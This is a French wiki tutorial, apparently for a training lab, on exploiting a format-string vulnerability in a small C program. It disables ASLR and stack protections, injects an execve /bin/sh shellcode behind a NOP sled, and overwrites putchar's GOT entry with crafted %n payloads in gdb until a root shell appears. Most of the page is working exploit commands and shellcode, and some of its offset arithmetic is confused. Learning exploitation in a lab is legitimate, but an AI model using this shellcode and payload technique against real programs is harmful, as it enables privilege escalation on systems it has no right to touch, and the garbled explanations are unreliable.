Format String

Voici comment empêcher la faille format string.
Pour ce faire, on doit préciser un format lors de nos print, par exemple dans l'exemple si dessous, int a va valoir un %d c'est à dire qu'on précise le format en décimal.

int main (){
        int a = -5;
        float b = 5.5;
        char *c =  "my string";
        printf("A = %d, B = %f, c = %s\n", a, b, c);
}

En revanche dans l'exemple si dessous nous pouvons constater que lors du printf de b on ne spécifie aucun format (%…), cela nous indique donc que le code est composé de la faille Format String.

int main(int argc, char *argv[]){
 
        char b[128];
        strcpy(b, argv[1]);
        printf(b); //la faille est ici
        printf("\n");
}

Avant de commencer il va falloir installer: vim, gcc et gdb avec la commande:

 apt-get install monpackage

Il faut aussi désactiver l'ASLR via la commande:

echo 0 > /proc/sys/kernel/randomize_va_space

Essayons cette faille ensemble, vous allez créer un fichier.c contenant le code du dessus.

On va ensuite le compiler en retirant les sécurité de la stack avec :

gcc -z execstack -fno-stack-protector -m32 fichier.c -o fmt

Nous allons chercher l'offset de la table putchar avec la commande suivante (dans mon cas l'offset est 0x080496e8) :

objdump -R fmt

Nous allons ensuite inserer notre shell code pour pouvoir nop par la suite ce qui nous intéressera

export EGG=$(python -c 'print "\x90" * 2000 + "\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x54\x89\xe1\xb0\x0b\xcd\x80"')

On va ensuite utiliser gdb avec cette commande le q nous permet de ne pas avoir de pub:

gdb -q fmt

On va maintenant ecrire dans l'offset de putchar, et verifier si l’écriture a marché, pour cela, examinons '-%10u-%4\$n' :

%4 + %10 = 14 en decimal, on ajoute les deux tirés et l'antislash on est donc maintenant à 17
En décimal 17 est égal à 10 car 16 = f et f + 1 =10
Nous devrions donc avoir un offset egal à ça : 0x00000010

Le \$n signifie que nous allons modifier la valeur de l'offset qui est pointé par un offset (il faut juste retenir que cela nous permet de modifier) Si il y avait eu un s on aurait pu seulement l'examiner. Un x lui, permet d'afficher un offset (de l'examiner)

On va donc utiliser la commande suivante

run $(python -c 'print "\xe8\x96\x04\x08"')-%10u-%4\$n

Nous allons vérifier que notre offset pointe vers l'offset de putchar x/x lOffset_du_putchar Avec la valeur de mon offset cela donne:

x/x 0x80496e8

Vous devriez avoir quelque chose comme ceci: 0x80496e8 putchar@got.plt: 0x00000010

Nous allons maintenant chercher dans la stack des offset nop

find $esp, $esp + 2000, 0x90909090

Il vous faut en choisir un situé au milieu de la liste, par exemple j'ai choisi 0xbffff6ac

On va maintenant vérifier nos nop en examinant l'offset (faite attention choisissez votre offset):

x/100x 0xbffff6ac 

On va choisir une adresse du milieu, et oui encore une fois, j'ai choisie l'adresse 0xbffff77c Le but sera maintenant de modifier notre adresse 0x00000010 en 0xbffff77c

Rappelez vous la commande précédente qui nous à permis d'avoir 0x00000010, nous allons l'améliorer pour obtenir le bon résultat.

Pour cela on va utiliser la calculatrice, allez c'est partie, a vos calculette près partez:

Dans un premier temps, il va falloir vous mettre en tête que la partie “\xe8\x96\x04\x08” va correspondre à la moitié droite de notre offset, sois f77c . Donc allons y, pour pouvoir y arriver on va sortir notre calculatrice en mode hexadecimal et on va convertir f77c en décimal. Pour ma part f77c = 63356

Il ne faut pas oublier d'enlever nos caractère en trop, c'est à dire nos 4 antislash de notre \xe8\x96\x04\x08 et nos deux tirets sois 6 caractères. Donc cela fait 63356 - 6 = 63350 Il nous suffis maintenant de modifier notre %10u par %votre_résultat_en_décimal_final pour ma part ce sera %63350

La commande sera donc:

run $(python -c 'print "\xe8\x96\x04\x08"')-%63350u-%4\$n

Si tous va bien la partie droite de votre offset sera égal à la partie droite de l'offset voulu. Pour ma part pour 0xbffff77c j'ai bien 0x0000f77c

Il nous manque donc plus que la partie gauche à faire. Pour l'obtenir nous allons devoir l'ajouter à notre run $(python -c 'print “\xe8\x96\x04\x08”')-%10u-%4\$n

Pour cela il suffit de rajouter un a à la fin de votre offset voir ci join:

run $(python -c 'print "\xe8\x96\x04\x08" + "\xea\x96\x04\x08"')-%63350u-%4\$n-%10u-%5\$n

On voit que le xe8 est passé en xea ce qui va nous permettre de modifier la partie gauche. Pour ce faire nous allons rajouter par exemple un -%10u suivit d'un -%5\$n qui est obligatoire car il permet de préciser au -%10u de modifier la partie gauche c'est à dire 0000 en bfff.

Avant de lancer la commande, on voit qu'on a rajouté quatre antislash ceux de \xea\x96\x04\x08 donc comme tout à l'heure, on va retirer 4 à notre résultat ce qui dans mon cas donne 63350 - 4 = 63346.

On lance donc la commande suivante :

run $(python -c 'print "\xe8\x96\x04\x08" + "\xea\x96\x04\x08"')-%63346u-%4\$n-%10u-%5\$n

Mon résultat est de 0xf788f77c et je dois arriver à 0xbffff77c On vois bien que la partie gauche est passée de 0000 à f788 et que la partie droite est bien la bonne c'est à dire f77c

Allez on y est presque encore un peu d'effort :)

Pour trouver le bon résultat il nous suffit de soustraire la partie gauche de l'offset recherché par la partie droite. Faite le, pour moi se sera bfff - f77c et mettez le résultat en décimal.

Si vous obtenez un résultat négatif c'est normal et c'est que vous êtes sur le bon chemin. Pour ma part j'ai obtenu -14205.

Comme vous vous en doutez on ne doit pas obtenir un résultat négatif, pour ce faire nous allons rajouter 1 en hexadécimal devant notre bfff.

Allez c'est partie:

    Faite 1 suivit de votre partie gauche - votre partie droite
    Pour ma part ce sera 1bfff - f77c = 51331
    Et voila nous avons maintenant un résultat positif

N'oubliez pas de soustraire à votre résultat vos deux tirés, c'est à dire pour ma part 51331 - 2 = 51329 Remplacez votre -%10u-%5\$n par votre résultat, pour ma part ce sera -%51329u-%5\$n

La commande finale sera donc pour ma part :

run $(python -c 'print "\xe8\x96\x04\x08" + "\xea\x96\x04\x08"')-%63346u-%4\$n-%51329u-%5\$n

Félicitation vous avez réussi : Un petit whoami et voila vous voyez bien que vous êtes root.

wiki/format.string.txt · Dernière modification: 2018/04/24 11:57 par root
CC0 1.0 Universal
Powered by PHP Driven by DokuWiki Recent changes RSS feed Valid CSS Valid XHTML 1.0 Valid HTML5